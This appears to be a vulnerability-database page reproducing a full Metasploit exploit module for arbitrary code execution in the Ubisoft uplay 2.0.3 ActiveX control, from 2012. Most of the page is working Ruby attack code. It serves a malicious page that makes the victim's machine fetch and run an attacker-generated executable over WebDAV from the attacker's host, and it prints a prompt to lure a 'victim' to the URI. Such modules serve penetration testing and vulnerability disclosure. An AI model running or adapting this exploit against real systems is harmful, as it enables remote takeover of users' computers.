Lucene search
K

Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution

🗓️ 07 Aug 2012 00:00:00Reported by Tavis OrmandyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution, allows the attacker to execute any command line action. Must be run on port 80

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',  
'Description' => %q{  
The uplay ActiveX component allows an attacker to execute any command line action.  
User must sign in, unless auto-sign in is enabled and uplay must not already be  
running. Due to the way the malicious executable is served (WebDAV), the module  
must be run on port 80, so please make sure you have enough privilege to do that.  
Ubisoft released patch 2.04 as of Mon 20th July.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery  
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',  
'phillips321 <phillips321[at]phillips321.co.uk>',  
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'  
],  
'References' =>  
[  
[ 'OSVDB', '84402'],  
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 29 2012'))  
  
register_options(  
[  
OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),  
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),  
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])  
], self.class)  
  
# WebDAV does not support SSL and must run over port 80.  
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def is_exploitable?(req)  
# Only engage Win XP SP3 targets  
req.headers['User-Agent'] =~ /NT 5\.1/  
end  
  
def on_request_uri(cli, request)  
case request.method  
when 'OPTIONS'  
process_options(cli, request)  
when 'PROPFIND'  
process_propfind(cli, request)  
when 'GET'  
if request.uri_parts['Resource'].include? @uplay_uri  
if is_exploitable?(request)  
prompt_uplay(cli, request)  
else  
print_error("Not the target we want, will not engage.")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
else  
process_get(cli, request)  
end  
else  
vprint_status("#{request.method} => 404 (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
end  
end  
  
def prompt_uplay(cli, request)  
url = "http://"  
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"  
  
path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"  
  
if path.length > 693  
fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters")  
return  
end  
  
cmd = Rex::Text.encode_base64(path)  
  
classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"  
type = "application/x-uplaypc" # Unused but alternative to classid  
content = %Q|<html>  
<body>  
<script>  
x = document.createElement('OBJECT');  
x.classid='#{classid}';  
document.body.appendChild(x);  
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');  
</script>  
</body>  
</html>|  
  
print_status("GET => Exploit")  
send_response_html(cli, content)  
handler(cli)  
end  
  
def process_get(cli, request)  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
webdav = "\\\\#{myhost}\\"  
  
if blacklisted_path?(request.uri)  
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if (request.uri.include? @basename)  
print_status("GET => Payload")  
return if ((p = regenerate_payload(cli)) == nil)  
data = generate_payload_exe({ :code => p.encoded })  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
# Treat index.html specially  
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)  
vprint_status("GET => REDIRECT (#{request.uri})")  
resp = create_response(200, "OK")  
  
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|  
  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
  
# Anything else is probably a request for a data file...  
vprint_status("GET => DATA (#{request.uri})")  
data = "HELLO!"  
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })  
end  
  
#  
# OPTIONS requests sent by the WebDav Mini-Redirector  
#  
def process_options(cli, request)  
vprint_status("OPTIONS #{request.uri}")  
headers = {  
'MS-Author-Via' => 'DAV',  
'DASL' => '<DAV:sql>',  
'DAV' => '1, 2',  
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',  
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',  
'Cache-Control' => 'private'  
}  
resp = create_response(207, "Multi-Status")  
headers.each_pair {|k,v| resp[k] = v }  
resp.body = ""  
resp['Content-Type'] = 'text/xml'  
cli.send_response(resp)  
end  
  
#  
# PROPFIND requests sent by the WebDav Mini-Redirector  
#  
def process_propfind(cli, request)  
path = request.uri  
vprint_status("PROPFIND #{path}")  
body = ''  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
my_uri = "http://#{my_host}/"  
  
if path !~ /\/$/  
  
if blacklisted_path?(path)  
vprint_status "PROPFIND => 404 (#{path})"  
resp = create_response(404, "Not Found")  
resp.body = ""  
cli.send_response(resp)  
return  
end  
  
if path.index(".")  
vprint_status "PROPFIND => 207 File (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
</D:multistatus>  
|  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
return  
else  
vprint_status "PROPFIND => 301 (#{path})"  
resp = create_response(301, "Moved")  
resp["Location"] = path + "/"  
resp['Content-Type'] = 'text/html'  
cli.send_response(resp)  
return  
end  
end  
  
vprint_status "PROPFIND => 207 Directory (#{path})"  
body = %Q|<?xml version="1.0" encoding="utf-8"?>  
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
  
if request["Depth"].to_i > 0  
trail = path.split("/")  
trail.shift  
case trail.length  
when 0  
body << generate_shares(path)  
when 1  
body << generate_files(path)  
end  
else  
vprint_status "PROPFIND => 207 Top-Level Directory"  
end  
  
body << "</D:multistatus>"  
  
body.gsub!(/\t/, '')  
  
# send the response  
resp = create_response(207, "Multi-Status")  
resp.body = body  
resp['Content-Type'] = 'text/xml; charset="utf8"'  
cli.send_response(resp)  
end  
  
def generate_shares(path)  
share_name = @share_name  
%Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{share_name}/</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype><D:collection/></lp1:resourcetype>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
</D:propstat>  
</D:response>  
|  
end  
  
def generate_files(path)  
trail = path.split("/")  
return "" if trail.length < 2  
  
base = @basename  
exts = @extensions.gsub(",", " ").split(/\s+/)  
files = ""  
exts.each do |ext|  
files << %Q|  
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">  
<D:href>#{path}#{base}.#{ext}</D:href>  
<D:propstat>  
<D:prop>  
<lp1:resourcetype/>  
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>  
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>  
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>  
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>  
<lp2:executable>T</lp2:executable>  
<D:supportedlock>  
<D:lockentry>  
<D:lockscope><D:exclusive/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
<D:lockentry>  
<D:lockscope><D:shared/></D:lockscope>  
<D:locktype><D:write/></D:locktype>  
</D:lockentry>  
</D:supportedlock>  
<D:lockdiscovery/>  
<D:getcontenttype>application/octet-stream</D:getcontenttype>  
</D:prop>  
<D:status>HTTP/1.1 200 OK</D:status>  
<D:ishidden b:dt="boolean">1</D:ishidden>  
</D:propstat>  
</D:response>  
|  
end  
  
files  
end  
  
def gen_timestamp(ttype=nil)  
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")  
end  
  
def gen_datestamp(ttype=nil)  
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")  
end  
  
# This method rejects requests that are known to break exploitation  
def blacklisted_path?(uri)  
share_path = "/#{@share_name}"  
payload_path = "#{share_path}/#{@basename}.exe"  
case uri  
when payload_path  
return false  
when share_path  
return false  
else  
return true  
end  
end  
  
def exploit  
@basename = rand_text_alpha(8)  
@share_name = rand_text_alpha(8)  
@extensions = "exe"  
  
if datastore['EXPLOITPATH']  
@uplay_uri = datastore['EXPLOITPATH']  
else  
@uplay_uri = rand_text_alpha(8)  
end  
  
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']  
  
@exploit_unc = "\\\\#{myhost}\\"  
  
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')  
end  
  
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")  
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")  
  
super  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2012 00:00Current
0.6Low risk
Vulners AI Score0.6
14